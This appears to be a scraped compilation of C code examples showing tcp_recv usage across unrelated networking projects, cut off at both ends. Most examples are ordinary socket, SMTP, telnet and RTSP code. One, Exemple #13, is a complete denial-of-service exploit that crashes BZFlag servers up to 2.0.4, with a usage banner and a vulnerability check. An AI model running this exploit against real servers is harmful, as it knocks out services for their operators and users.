		/* Connection Request */
		case X224_TPDU_CONNECTION_REQUEST:
			break;

		/* Connection Confirm */
		case X224_TPDU_CONNECTION_CONFIRM:
			break;

		/* Disconnect Request */
		case X224_TPDU_DISCONNECT_REQUEST:
			break;

		/* Data */
		case X224_TPDU_DATA:
			break;

		/* Error */
		case X224_TPDU_ERROR:
			break;
	}

	/* According to X.224 13.4 and [MS-RDPBCGR] 2.2.1.2, the rdpNegData field is optional
	   and its length is included in the X.224 length indicator */
	if (lengthIndicator > 6)
	{
		nego_recv(iso->nego, s);
	}

	return s;
}
Exemple #10
0
/** The actual mail-sending function, called by smtp_send_mail and
 * smtp_send_mail_static after setting up the struct smtp_session.
 */
static err_t
smtp_send_mail_alloced(struct smtp_session *s)
{
  err_t err;
  struct tcp_pcb* pcb;
  ip_addr_t addr;

  LWIP_ASSERT("no smtp_session supplied", s != NULL);

#if SMTP_CHECK_DATA
  /* check that body conforms to RFC:
   * - convert all single-CR or -LF in body to CRLF
   * - only 7-bit ASCII is allowed
   */
  if (smtp_verify(s->to, s->to_len, 0) != ERR_OK) {
    return ERR_ARG;
  }
  if (smtp_verify(s->from, s->from_len, 0) != ERR_OK) {
    return ERR_ARG;
  }
  if (smtp_verify(s->subject, s->subject_len, 0) != ERR_OK) {
    return ERR_ARG;
  }
  if (smtp_verify(s->body, s->body_len, 0) != ERR_OK) {
    return ERR_ARG;
  }
#endif /* SMTP_CHECK_DATA */

  pcb = tcp_new();
  if (pcb == NULL) {
    err = ERR_MEM;
    goto leave;
  }

#if SMTP_COPY_AUTHDATA
  /* copy auth data, ensuring the first byte is always zero */
  memcpy(s->auth_plain + 1, smtp_auth_plain + 1, smtp_auth_plain_len - 1);
  s->auth_plain_len = smtp_auth_plain_len;
  /* default username and pass is empty string */
  s->username = s->auth_plain;
  s->pass = s->auth_plain;
  if (smtp_username != NULL) {
    s->username += smtp_username - smtp_auth_plain;
  }
  if (smtp_pass != NULL) {
    s->pass += smtp_pass - smtp_auth_plain;
  }
#endif /* SMTP_COPY_AUTHDATA */

  s->state = SMTP_NULL;
  s->timer = SMTP_TIMEOUT;

  tcp_arg(pcb, s);
  tcp_recv(pcb, smtp_tcp_recv);
  tcp_err(pcb, smtp_tcp_err);
  tcp_poll(pcb, smtp_tcp_poll, SMTP_POLL_INTERVAL);
  tcp_sent(pcb, smtp_tcp_sent);

#if LWIP_DNS
  err = dns_gethostbyname(smtp_server, &addr, smtp_dns_found, pcb);
#else /* LWIP_DNS */
  addr.addr = ipaddr_addr(smtp_server);
  err = addr.addr == IPADDR_NONE ? ERR_ARG : ERR_OK;
#endif /* LWIP_DNS */
  if (err == ERR_OK) {
    err = tcp_connect(pcb, &addr, smtp_server_port, smtp_tcp_connected);
    if (err != ERR_OK) {
      LWIP_DEBUGF(SMTP_DEBUG_WARN_STATE, ("tcp_connect failed: %d\n", (int)err));
      goto deallocate_and_leave;
    }
  } else if (err != ERR_INPROGRESS) {
    LWIP_DEBUGF(SMTP_DEBUG_WARN_STATE, ("dns_gethostbyname failed: %d\n", (int)err));
    goto deallocate_and_leave;
  }
  return ERR_OK;

deallocate_and_leave:
  if (pcb != NULL) {
    tcp_arg(pcb, NULL);
    tcp_close(pcb);
  }
leave:
  mem_free(s);
  /* no need to call the callback here since we return != ERR_OK */
  return err;
}
Exemple #11
0
void  *recv_client_msg_thread(void *pParams)
{
	PRINTF("pid=%d\n", getpid());
	char szData[2048] = {0};
	unsigned  int nLen;
	int 	total_len;
	int sSocket;
	int nPos;
	int index = -1;
	MsgHead  msg_info;
	client_msg_arg_t *arg = (client_msg_arg_t *)pParams;
	nPos = arg->pos;
	index = arg->index;
	PRINTF("[enter recv_client_msg_thread] index:[%d] pos:[%d]\n", index, nPos);
	char user_id[16] = {0};
	int  msg_code = 0;
	char  passkey[64] = {0};
	int  count = 0;

	struct timeval timeout ;
	int ret = 0;

	if(pParams != NULL) {
		PRINTF("enter free(pParams)\n");
		free(pParams);  //free memory
		pParams = NULL;
	}

	sSocket = GETSOCK_NEW(index, nPos);
	PRINTF("index:[%d] sockfd =%d,pos =%d\n", index, sSocket, nPos);
	timeout.tv_sec = 3 ; //3
	timeout.tv_usec = 0;

	ret = setsockopt(sSocket, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof(timeout));

	if(ret == -1) {
		ERR_PRN("setsockopt() Set Send Time Failed\n");
	}

	sem_post(&g_new_tcp_lock[index]);
	PRINTF("recv_client_msg_thread     sem_post!!!!\n");
	set_ip_matrix_userid(index, user_id);

	while(gRunStatus[index]) {
		memset(szData, 0, sizeof(szData));

		if(sSocket <= 0) {
			goto ExitClientMsg;
		}

		total_len = tcp_recv(sSocket, &msg_info, sizeof(msg_info), 0);


		if(total_len == -1) {
			ERR_PRN("error:%d,error msg: = %s\n", errno, strerror(errno));
			goto ExitClientMsg;
		}

		if(ntohs(msg_info.sVer) != 2012) {
			ERR_PRN(" sver error:%d,error msg: = %s\n", errno, strerror(errno));
			goto ExitClientMsg;
		}

		total_len = ntohs(msg_info.sLen) - sizeof(msg_info);

		if(total_len <= 0) {
			PRINTF("nMsgLen  < HEAD_LEN\n");
			goto ExitClientMsg;
		}

		if(total_len > 0) {
			nLen = tcp_recv(sSocket, szData, total_len, 0);

			if(nLen == -1 || nLen < total_len) {
				ERR_PRN("nLen < nMsgLen -HEAD_LEN\n");

				goto ExitClientMsg;
			}


			if(parse_cli_xml_msg(index, nPos, szData, &msg_code, passkey, user_id) < 0) {
				ERR_PRN("parse xml msg failed\n");
				//goto ExitClientMsg;
			}
		}

#if 0

		if(process_cli_xml_msg(nPos, msg_code, passkey, user_id) < 0) {
			PRINTF("process xml msg failed\n");
			//goto ExitClientMsg;
		}

#endif

		//PRINTF( "Switch End!\n");
	}

ExitClientMsg:
	//cli_pthread_id[nPos] = 0;
	PRINTF("Exit Client Msg thread:%d nPos = %d sSocket = %d\n", pthread_self(), nPos, sSocket);

	if(sSocket == GETSOCK_NEW(index, nPos)) {
		PRINTF("Exit Client Msg index:[%d] nPos = %d sSocket = %d\n", index, nPos, sSocket);
		SETCLIUSED_NEW(index, nPos, FALSE);
		SET_SEND_AUDIO_NEW(index, nPos, FALSE);
		SETCLILOGIN_NEW(index, nPos, FALSE);
		SETLOWRATEFLAG_NEW(index, nPos, STOP);
		SET_SEND_VIDEO_NEW(index, nPos, FALSE);
		SET_PARSE_LOW_RATE_FLAG(index, nPos, INVALID_SOCKET);
		SET_FIX_RESOLUTION_FLAG(index, nPos, FALSE);
		//IISCloseLowRate_new();
		set_heart_count(index, nPos, FALSE);
		close(sSocket);
		SETSOCK_NEW(index, nPos, INVALID_SOCKET);
#ifdef SUPPORT_IP_MATRIX

		if(get_audio_lock_resolution(index) > 0  && (GET_PASSKEY_FLAG(index, nPos) == 1)) {
			cut_audio_lock_resolution(index);
		}

		if(get_video_lock_resolution(index) > 0 && (GET_PASSKEY_FLAG(index, nPos) == 1)) {
			cut_video_lock_resolution(index);
		}

		if(get_ipmatrix_lock_resolution(index) > 0 && (GET_PASSKEY_FLAG(index, nPos) == 1)) {
			cut_ipmatrix_lock_resolution(index);
		}

		SET_PASSKEY_FLAG(index, nPos, 0);
#endif
	} else {

		int cli ;

		for(cli = 0; cli < MAX_CLIENT; cli++) {
			PRINTF("index:[%d] socket = %d, blogin=%d,bused=%d,sendAudioFlag=%d\n",
			       index, g_client_para[index].cliDATA[cli].sSocket,
			       g_client_para[index].cliDATA[cli].bLogIn,
			       g_client_para[index].cliDATA[cli].bUsed,
			       g_client_para[index].cliDATA[cli].sendAudioFlag);
		}

		PRINTF("index:[%d] socket =%d,pos=%d,s=%d\n",
		       index, sSocket, nPos, GETSOCK_NEW(index, nPos));
	}

	pthread_detach(pthread_self());
	pthread_exit(NULL);
}
Exemple #12
0
void tcp_recv1(struct tcp_pcb *pcb, xt_t callback)
{
  recv_forth_cb = callback;
  tcp_recv(pcb, recv_cb);
}
Exemple #13
0
int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    u_int   seed;
    int     sd;
    u_short port = PORT,
            len;
    u_char  buff[BUFFSZ],
            callsign[CALLSIGNSZ + 1],
            mail[MAILSZ + 1],
            token[TOKENSZ + 1],
            version[VERSIONSZ + 1],
            code[2];

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif


    setbuf(stdout, NULL);

    fputs("\n"
        "BZFlag <= 2.0.4 (2.x) server crash "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: [email protected]\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <host> [port(%hu)]\n"
            "\n"
            " This tool works also versus servers protected by password without knowing the\n"
            " keyword!\n"
            "\n", argv[0], port);
        exit(1);
    }

    if(argc > 2) port = atoi(argv[2]);

    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    fputs("- check server version: ", stdout);
    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();
    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();
    if(timeout(sd, TIMEOUT) < 0) {
        printf("\nError: no reply received within %d seconds, this server doesn't seem valid\n\n", TIMEOUT);
        exit(1);
    }
    tcp_recv(sd, buff, 9);

    printf("   %s\n", buff);
    if(memcmp(buff, "BZFS", 4)) {
        fputs("- this server doesn't seem a valid BZFlag server, I try to continue\n", stdout);
    } else {
        if(memcmp(buff + 4, "00", 2)) {
            fputs("- this server uses a version which is not vulnerable, I try to continue\n", stdout);
        }
    }

    if(!timeout(sd, 0)) {   // 2.0.4 sends data while the previous 2.0 not
        len = bzflag_recv(sd, buff, code);
    }

    create_rand_string(callsign, CALLSIGNSZ, &seed);    // <=== THE BUG IS HERE
    create_rand_string(mail,     MAILSZ,     &seed);
    create_rand_string(token,    TOKENSZ,    &seed);
    create_rand_string(version,  VERSIONSZ,  &seed);

    bzflag_send(sd,
        buff,
        "en",
        2,          TYPE,
        2,          TEAM,
        CALLSIGNSZ, callsign,
        MAILSZ,     mail,
        TOKENSZ,    token,
        VERSIONSZ,  version,
        0);

    len = bzflag_recv(sd, buff, code);

    if(memcmp(code, "ac", 2)) {
        buff[len] = 0;
        printf("\n"
            "Error: code \"%.2s\"\n"
            "%s\n"
            "\n",
            code, buff + 2);
    }

    close(sd);

    fputs("- check server:\n", stdout);
    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();
    if(
      (connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) ||
      (timeout(sd, 3) < 0)) {
        fputs("\n  Server IS vulnerable!!!\n\n", stdout);
    } else {
        fputs("\n"
            "  Server doesn't seem vulnerable\n"
            "  RELAUNCH THIS TOOL OTHER TIMES UNTIL YOU ARE UNABLE TO CRASH IT!!!\n"
            "\n", stdout);
    }
    close(sd);
    return(0);
}
Exemple #14
0
int main (void)
{
    puts ("I: starting subscriber");
    
    //  Create TCP socket
    int peer;
    if ((peer = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
        derp ("socket");
    
    //  Connect to publisher
    struct sockaddr_in si_peer = { 0 };
    si_peer.sin_family = AF_INET;
    si_peer.sin_port = htons (9000);
    si_peer.sin_addr.s_addr = inet_addr ("192.168.30.138");

    //  Keep trying to connect until we succeed
    puts ("I: waiting for connection");
    while (connect (peer, (const struct sockaddr *) &si_peer, sizeof (si_peer)) == -1)
        sleep (1);
    
    puts ("I: connected OK");
    //  This is our greeting (64 octets)
    zmtp_greeting_t outgoing = {
        { 0xFF, 0, 0, 0, 0, 0, 0, 0, 1, 0x7F },
        { 3, 0 },
        { 'N', 'U', 'L', 'L', 0 },
        { 0 },
        { 0 }
    };
    //  Do full backwards version detection following RFC23
    //  Send first ten bytes of greeting to peer
    tcp_send (peer, &outgoing, 10);

    //  Read first byte from peer
    zmtp_greeting_t incoming;
    tcp_recv (peer, &incoming, 1);
    uint8_t length = incoming.signature [0];
    if (length != 0xFF) {
        puts ("E: signature not valid (1)");
        close (peer);
        exit (0);
    }
    //  Looks like 2.0+, read 9 more bytes to be sure
    tcp_recv (peer, (uint8_t *) &incoming + 1, 9);
    if ((incoming.signature [9] & 1) != 1) {
        puts ("E: signature not valid (2)");
        close (peer);
        exit (0);
    }
    //  Exchange major version numbers 
    puts ("I: signature valid, exchanging major versions");
    tcp_send (peer, (uint8_t *) &outgoing + 10, 1);
    tcp_recv (peer, (uint8_t *) &incoming + 10, 1);

    if (incoming.version [0] >= 3) {
        //  If version >= 3, the peer is using ZMTP 3.0, so send 
        //  rest of the greeting and continue with ZMTP 3.0.
        puts ("I: peer is talking ZMTP 3.0");
        puts ("I: sending rest of greeting...");
        tcp_send (peer, (uint8_t *) &outgoing + 11, 53);
        //  Get remainder of greeting from peer
        puts ("I: waiting for greeting from peer...");
        tcp_recv (peer, (uint8_t *) &incoming + 11, 53);
        //  Do NULL handshake - send READY command
        //  For now, empty dictionary
        puts ("I: have full greeting from peer");
        zmtp_msg_t ready = { 0x04, 8 };
        memcpy (ready.data, "READY   ", 8);
        puts ("I: sending READY");
        zmtp_send (peer, &ready);
        //  Now wait for peer's READY command
        puts ("I: expecting READY from peer");
        zmtp_recv (peer, &ready);
        assert (memcmp (ready.data, "READY   ", 8) == 0);
        puts ("I: OK! NULL security handshake completed");
    }
    else {
        puts ("E: major version not valid");
        close (peer);
        exit (0);
    }
    puts ("I: READY, printing messages");
    while (true) {
        zmtp_msg_t msg;
        zmtp_recv (peer, &msg);
        msg.data [msg.size] = 0;
        puts ((char *) msg.data);
    }
    close (peer);
    return 0;
}
STATIC mp_obj_t lwip_socket_accept(mp_obj_t self_in) {
    lwip_socket_obj_t *socket = self_in;

    if (socket->pcb.tcp == NULL) {
        mp_raise_OSError(MP_EBADF);
    }
    if (socket->type != MOD_NETWORK_SOCK_STREAM) {
        mp_raise_OSError(MP_EOPNOTSUPP);
    }
    // I need to do this because "tcp_accepted", later, is a macro.
    struct tcp_pcb *listener = socket->pcb.tcp;
    if (listener->state != LISTEN) {
        mp_raise_OSError(MP_EINVAL);
    }

    // accept incoming connection
    if (socket->incoming.connection == NULL) {
        if (socket->timeout == 0) {
            mp_raise_OSError(MP_EAGAIN);
        } else if (socket->timeout != -1) {
            for (mp_uint_t retries = socket->timeout / 100; retries--;) {
                mp_hal_delay_ms(100);
                if (socket->incoming.connection != NULL) break;
            }
            if (socket->incoming.connection == NULL) {
                mp_raise_OSError(MP_ETIMEDOUT);
            }
        } else {
            while (socket->incoming.connection == NULL) {
                poll_sockets();
            }
        }
    }

    // create new socket object
    lwip_socket_obj_t *socket2 = m_new_obj_with_finaliser(lwip_socket_obj_t);
    socket2->base.type = (mp_obj_t)&lwip_socket_type;

    // We get a new pcb handle...
    socket2->pcb.tcp = socket->incoming.connection;
    socket->incoming.connection = NULL;

    // ...and set up the new socket for it.
    socket2->domain = MOD_NETWORK_AF_INET;
    socket2->type = MOD_NETWORK_SOCK_STREAM;
    socket2->incoming.pbuf = NULL;
    socket2->timeout = socket->timeout;
    socket2->state = STATE_CONNECTED;
    socket2->recv_offset = 0;
    socket2->callback = MP_OBJ_NULL;
    tcp_arg(socket2->pcb.tcp, (void*)socket2);
    tcp_err(socket2->pcb.tcp, _lwip_tcp_error);
    tcp_recv(socket2->pcb.tcp, _lwip_tcp_recv);

    tcp_accepted(listener);

    // make the return value
    uint8_t ip[NETUTILS_IPV4ADDR_BUFSIZE];
    memcpy(ip, &(socket2->pcb.tcp->remote_ip), sizeof(ip));
    mp_uint_t port = (mp_uint_t)socket2->pcb.tcp->remote_port;
    mp_obj_tuple_t *client = mp_obj_new_tuple(2, NULL);
    client->items[0] = socket2;
    client->items[1] = netutils_format_inet_addr(ip, port, NETUTILS_BIG);

    return client;
}
//*****************************************************************************
//! Receives a TCP packet from lwIP for the telnet server.
//!
//! \param arg is the telnet state data for this connection.
//! \param pcb is the pointer to the TCP control structure.
//! \param p is the pointer to the pbuf structure containing the packet data.
//! \param err is used to indicate if any errors are associated with the
//! incoming packet.
//!
//! This function is called when the lwIP TCP/IP stack has an incoming packet
//! to be processed.
//!
//! \return This function will return an lwIP defined error code.
//*****************************************************************************
err_t TelnetReceive(void *arg, struct tcp_pcb *pcb, struct pbuf *p, err_t err)
{
    tState *pState = arg;
    SYS_ARCH_DECL_PROTECT(lev);

#if 0
    CONSOLE("%u: receive 0x%08x, 0x%08x, 0x%08x, %d\n", pState->ucSerialPort, arg, pcb, p, err);
#else
    CONSOLE("%u: receive error=%d\n", pState->ucSerialPort, err);
#endif

    // Place the incoming packet onto the queue if there is space.
    if((err == ERR_OK) && (p != NULL))
    {
        // This should be done in a protected/critical section.
        SYS_ARCH_PROTECT(lev);

        // Do we have space in the queue?
        int iNextWrite = ((pState->iBufQWrite + 1) % PBUF_POOL_SIZE);
        if(iNextWrite == pState->iBufQRead)
        {
            // The queue is full - discard the pbuf and return since we can't handle it just now.
            CONSOLE("%u: WARNING queue is full - discard data\n", pState->ucSerialPort);

            // Restore previous level of protection.
            SYS_ARCH_UNPROTECT(lev);

            // Free up the pbuf.  Note that we don't acknowledge receipt of
            // the data since we want it to be retransmitted later.
            pbuf_free(p);
        }
        else
        {
            // Place the pbuf in the circular queue.
            pState->pBufQ[pState->iBufQWrite] = p;

            // Increment the queue write index.
            pState->iBufQWrite = iNextWrite;

            // Restore previous level of protection.
            SYS_ARCH_UNPROTECT(lev);
        }
    }

    // If a null packet is passed in, close the connection.
    else if((err == ERR_OK) && (p == NULL))
    {
        CONSOLE("%u: received NULL packet - close connection\n", pState->ucSerialPort);

        // Clear out all of the TCP callbacks.
        tcp_arg(pcb, NULL);
        tcp_sent(pcb, NULL);
        tcp_recv(pcb, NULL);
        tcp_err(pcb, NULL);
        tcp_poll(pcb, NULL, 1);

        // Close the TCP connection.
        err = tcp_close(pcb);
        if (err != ERR_OK)
        {
           WARNING("%u: TelnetReceive.tcp_close failed, error=%d\n", pState->ucSerialPort, err);
           ErrorTCPOperation(pState->ucSerialPort, err, TCP_CLOSE_RECEIVE);
        }

        // Clear out any pbufs associated with this session.
        TelnetFreePbufs(pState);

        // Clear out the telnet session PCB.
        pState->pConnectPCB = NULL;

        StartConnection(pState->ucSerialPort);
    }

    CustomerSettings1_TelnetReceive(pState->ucSerialPort);

    return(ERR_OK);
}
STATIC mp_obj_t lwip_socket_connect(mp_obj_t self_in, mp_obj_t addr_in) {
    lwip_socket_obj_t *socket = self_in;

    if (socket->pcb.tcp == NULL) {
        mp_raise_OSError(MP_EBADF);
    }

    // get address
    uint8_t ip[NETUTILS_IPV4ADDR_BUFSIZE];
    mp_uint_t port = netutils_parse_inet_addr(addr_in, ip, NETUTILS_BIG);

    ip_addr_t dest;
    IP4_ADDR(&dest, ip[0], ip[1], ip[2], ip[3]);

    err_t err = ERR_ARG;
    switch (socket->type) {
        case MOD_NETWORK_SOCK_STREAM: {
            if (socket->state != STATE_NEW) {
                if (socket->state == STATE_CONNECTED) {
                    mp_raise_OSError(MP_EISCONN);
                } else {
                    mp_raise_OSError(MP_EALREADY);
                }
            }
            // Register our receive callback.
            tcp_recv(socket->pcb.tcp, _lwip_tcp_recv);
            socket->state = STATE_CONNECTING;
            err = tcp_connect(socket->pcb.tcp, &dest, port, _lwip_tcp_connected);
            if (err != ERR_OK) {
                socket->state = STATE_NEW;
                mp_raise_OSError(error_lookup_table[-err]);
            }
            socket->peer_port = (mp_uint_t)port;
            memcpy(socket->peer, &dest, sizeof(socket->peer));
            // And now we wait...
            if (socket->timeout != -1) {
                for (mp_uint_t retries = socket->timeout / 100; retries--;) {
                    mp_hal_delay_ms(100);
                    if (socket->state != STATE_CONNECTING) break;
                }
                if (socket->state == STATE_CONNECTING) {
                    mp_raise_OSError(MP_EINPROGRESS);
                }
            } else {
                while (socket->state == STATE_CONNECTING) {
                    poll_sockets();
                }
            }
            if (socket->state == STATE_CONNECTED) {
               err = ERR_OK;
            } else {
               err = socket->state;
            }
            break;
        }
        case MOD_NETWORK_SOCK_DGRAM: {
            err = udp_connect(socket->pcb.udp, &dest, port);
            break;
        }
    }

    if (err != ERR_OK) {
        mp_raise_OSError(error_lookup_table[-err]);
    }

    return mp_const_none;
}
Exemple #18
0
static int http_fileop_open(void **ref,void *fsctx_arg,char *filename,int mode)
{
    http_fsctx_t *fsctx;
    http_file_t *file;
    char temp[200];
    char *hostname, *filen;
    int hlen;
    int termidx;
    int res;
    int err = 0;
    char *hptr;
    char *tok;
    uint8_t hostaddr[IP_ADDR_LEN];
    uint8_t termstr[4];
    uint8_t b;

    if (mode != FILE_MODE_READ) return CFE_ERR_UNSUPPORTED;

    fsctx = (http_fsctx_t *) fsctx_arg;

    file = KMALLOC(sizeof(http_file_t),0);
    if (!file) {
	return CFE_ERR_NOMEM;
	}

    file->http_filename = lib_strdup(filename);
    if (!file->http_filename) {
	KFREE(file);
	return CFE_ERR_NOMEM;
	}

    lib_chop_filename(file->http_filename,&hostname,&filen);

    /*
     * Look up remote host
     */

    res = dns_lookup(hostname,hostaddr);
    if (res < 0) {
	KFREE(file);
	return res;
	}

    file->http_socket = tcp_socket();
    if (file->http_socket < 0) {
	KFREE(file->http_filename);
	KFREE(file);
	return -1;
	}

    /*
     * Connect to remote host.
     */

    tcp_setflags(file->http_socket,0);	/* set socket to blocking */
    res = tcp_connect(file->http_socket,hostaddr,80);

    if (res < 0) {
	tcp_close(file->http_socket);
	KFREE(file->http_filename);
	KFREE(file);
	return res;
	}

    /*
     * Send GET command.  Supply the hostname (for HTTP 1.1 requirements)
     * and set the connection to close as soon as all the data is received.
     */

    hlen = sprintf(temp,"GET /%s HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n",filen,hostname);

    res = tcp_send(file->http_socket,temp,hlen);
    if (res < 0) {
	tcp_close(file->http_socket);
	KFREE(file->http_filename);
	KFREE(file);
	return res;
	}

    /*
     * Read bytes until we either reach EOF or we see "\r\n\r\n"
     * This is the server's status string.
     */

    termstr[0] = '\r'; termstr[1] = '\n';
    termstr[2] = '\r'; termstr[3] = '\n';
    termidx = 0;

    file->http_offset = 0;
    file->http_blen = 0;
    file->http_bptr = file->http_buffer;

    res = 0;
    for (;;) {
	res = tcp_recv(file->http_socket,&b,1);
	if (res < 0) break;
	if (b == termstr[termidx]) {
	    termidx++;
	    if (termidx == 4) break;
	    }
	else {
	    termidx = 0;
	    }

	/*
	 * Save the bytes from the header up to our buffer
	 * size.  It's okay if we don't save it all,
	 * since all we want is the result code which comes
	 * first.
	 */

	if (file->http_blen < (HTTP_BUFSIZE-1)) {
	    *(file->http_bptr) = b;
	    file->http_bptr++;
	    file->http_blen++;
	    }
	}

    /*
     * Premature EOFs are not good, bail now.
     */

    if (res < 0) {
	err = CFE_ERR_EOF;
	goto protocolerr;
	}

    /*
     * Skip past the HTTP response header and grab the result code.
     * Sanity check it a little.
     */

    *(file->http_bptr) = 0;

    hptr = file->http_buffer;
    tok = lib_gettoken(&hptr);
    if (!tok || (memcmp(tok,"HTTP",4) != 0)) {
	err = CFE_ERR_PROTOCOLERR;
	goto protocolerr;
	}

    tok = lib_gettoken(&hptr);
    if (!tok) {
	err = CFE_ERR_PROTOCOLERR;
	goto protocolerr;
	}

    switch (lib_atoi(tok)) {
	case 200:
	    err = 0;
	    break;
	case 404:
	    err = CFE_ERR_FILENOTFOUND;
	    break;

	}

    /*
     * If we get to here, the file is okay and we're about to receive data.
     */

    if (err == 0) {
	*ref = file;
	return 0;
	}

protocolerr:
    tcp_close(file->http_socket);
    KFREE(file->http_filename);
    KFREE(file);
    *ref = NULL;
    return err;
}
Exemple #19
0
STATIC mp_obj_t lwip_socket_accept(mp_obj_t self_in) {
    lwip_socket_obj_t *socket = self_in;

    if (socket->pcb == NULL) {
        nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(EBADF)));
    }
    if (socket->type != MOD_NETWORK_SOCK_STREAM) {
        nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(EOPNOTSUPP)));
    }
    // I need to do this because "tcp_accepted", later, is a macro.
    struct tcp_pcb *listener = (struct tcp_pcb*)socket->pcb;
    if (listener->state != LISTEN) {
        nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(EINVAL)));
    }

    // accept incoming connection
    if (socket->incoming == NULL) {
        if (socket->timeout != -1) {
            for (mp_uint_t retries = socket->timeout / 100; retries--;) {
                mp_hal_delay_ms(100);
                if (socket->incoming != NULL) break;
            }
            if (socket->incoming == NULL) {
                nlr_raise(mp_obj_new_exception_arg1(&mp_type_OSError, MP_OBJ_NEW_SMALL_INT(ETIMEDOUT)));
            }
        } else {
            while (socket->incoming == NULL) {
                mp_hal_delay_ms(100);
            }
        }
    }

    // create new socket object
    lwip_socket_obj_t *socket2 = m_new_obj_with_finaliser(lwip_socket_obj_t);
    socket2->base.type = (mp_obj_t)&lwip_socket_type;

    // We get a new pcb handle...
    socket2->pcb = socket->incoming;
    socket->incoming = NULL;

    // ...and set up the new socket for it.
    socket2->domain = MOD_NETWORK_AF_INET;
    socket2->type = MOD_NETWORK_SOCK_STREAM;
    socket2->incoming = NULL;
    socket2->timeout = socket->timeout;
    socket2->connected = 2;
    socket2->leftover_count = 0;
    tcp_arg((struct tcp_pcb*)socket2->pcb, (void*)socket2);
    tcp_err((struct tcp_pcb*)socket2->pcb, _lwip_tcp_error);
    tcp_recv((struct tcp_pcb*)socket2->pcb, _lwip_tcp_recv);

    tcp_accepted(listener);

    // make the return value
    uint8_t ip[NETUTILS_IPV4ADDR_BUFSIZE];
    memcpy(ip, &(((struct tcp_pcb*)socket2->pcb)->remote_ip), 4);
    mp_uint_t port = (mp_uint_t)((struct tcp_pcb*)socket2->pcb)->remote_port;
    mp_obj_tuple_t *client = mp_obj_new_tuple(2, NULL);
    client->items[0] = socket2;
    client->items[1] = netutils_format_inet_addr(ip, port, NETUTILS_BIG);

    return client;
}
static err_t accept_tcp(void *arg, struct tcp_pcb *pcb, err_t err) {
	int		s, i, ns;
	sockfd_t	* fd, * nsd;
	err_t		rv = ERR_OK;

	// printf("kti: accept_tcp for %d called (err %d)\n", (int)arg, err);

	// Dunno what to do here if not...
	assert( err == ERR_OK );

	// Get the socket struct and lock
	s = (int)arg;
	if (sock_verify(s) < 0)
		return ERR_CONN;
	fd = fds + s;

	// Get access.
	mutex_lock(fd->mutex);

	// Do we have enough space?
	if (fd->conncnt >= fd->connmax) {
		rv = ERR_MEM;
		goto out;
	}

	// Add the connection
	for (i=0; i<fd->connmax; i++)
		if (fd->conns[i] < 0)
			break;
	if (i >= fd->connmax) {
		assert( 0 );
		rv = ERR_MEM;
		goto out;
	}

	// Create a new socket FD for the connection.
	ns = sock_open();
	if (ns < 0) {
		rv = ERR_MEM;
		goto out;
	}

	// Assign stuff. We've already got our sync objects, we just
	// need to get things into it. To make sure nothing weird happens
	// here, we'll lock first.
	nsd = fds + ns;
	mutex_lock(nsd->mutex);

	nsd->tcppcb = pcb;

	// Init our counters
	nsd->recv = 0;
	nsd->send = tcp_sndbuf(nsd->tcppcb);

	// Setup callbacks
	tcp_arg(nsd->tcppcb, (void *)ns);
	tcp_recv(nsd->tcppcb, recv_tcp);
	tcp_sent(nsd->tcppcb, sent_tcp);
	tcp_poll(nsd->tcppcb, poll_tcp, 4);	// 4 == 4 TCP timer intervals
	tcp_err(nsd->tcppcb, err_tcp);

	// Copy over the peer address
	nsd->name.sin_len = sizeof(struct sockaddr_in);
	nsd->name.sin_family = AF_INET;
	nsd->name.sin_port = htons(nsd->tcppcb->remote_port);
	nsd->name.sin_addr.s_addr = nsd->tcppcb->remote_ip.addr;

	mutex_unlock(nsd->mutex);


	fd->conns[i] = ns;
	fd->conncnt++;

	// Signal any thread waiting on accept()
	cond_signal(fd->connect);

out:
	mutex_unlock(fd->mutex);
	if (rv == ERR_OK)
		genwait_wake_all(&select_wait);
	return rv;
}
Exemple #21
0
int rtsp_wait_reply(struct rtsp_client * rtsp, int tmo)
{
	struct tcp_pcb * tp = rtsp->tcp;
	char * buf = rtsp->buf;
	int n;
	int i;
	int c1;
	int c2;
	int rem;
	int cnt;
	int ln;
	int pos;

	rem = RTSP_CLIENT_BUF_LEN; /* free space in the input buffer */
	cnt = 0; /* used space in the input buffer */
	ln = 0; /* line start */
	pos = 0; /* header position */
	c1 = '\0';

	/* receive and decode RTSP headers */
	while ((n = tcp_recv(tp, &buf[cnt], rem)) > 0)  {
		rem -= n;
		i = cnt;
		cnt += n;
		for (; i < cnt; ++i) {
			c2 = buf[i];
			if (c1 == '\r' && c2 == '\n') {
				char * val;
				unsigned int hdr;

				buf[i - 1] = '\0';
#if 0
				printf("%s\n", &buf[ln]);
#endif

				if (i == ln + 1) {
					DBG("end of RTSP header");
					i++;
					rtsp->cnt = cnt;
					rtsp->pos = i;
					rtsp->lin = i;

					if (rtsp->resp.code != 200) {
						WARN("Server response code: %d", rtsp->resp.code);
						return -1;
					}

					return 0;
				}

				if ((hdr = rtsp_parse_hdr(&buf[ln], &val)) == 0) {
					WARN("invalid header field: \"%s\"", &buf[ln]);
//					return -1;
				} else {
//					DBG("header field received: %s", rtsp_hdr_name[hdr]);
					if (pos == 0) {
						if (hdr != HDR_RTSP_1_0) {
							WARN("invalid response");
							return -1;
						}
						rtsp->resp.code = atoi(val);
					} else {
						switch (hdr) {
						case HDR_CSEQ:
							if (atoi(val) != rtsp->cseq) {
								WARN("invalid CSeq");
								return -1;
							}
							break;

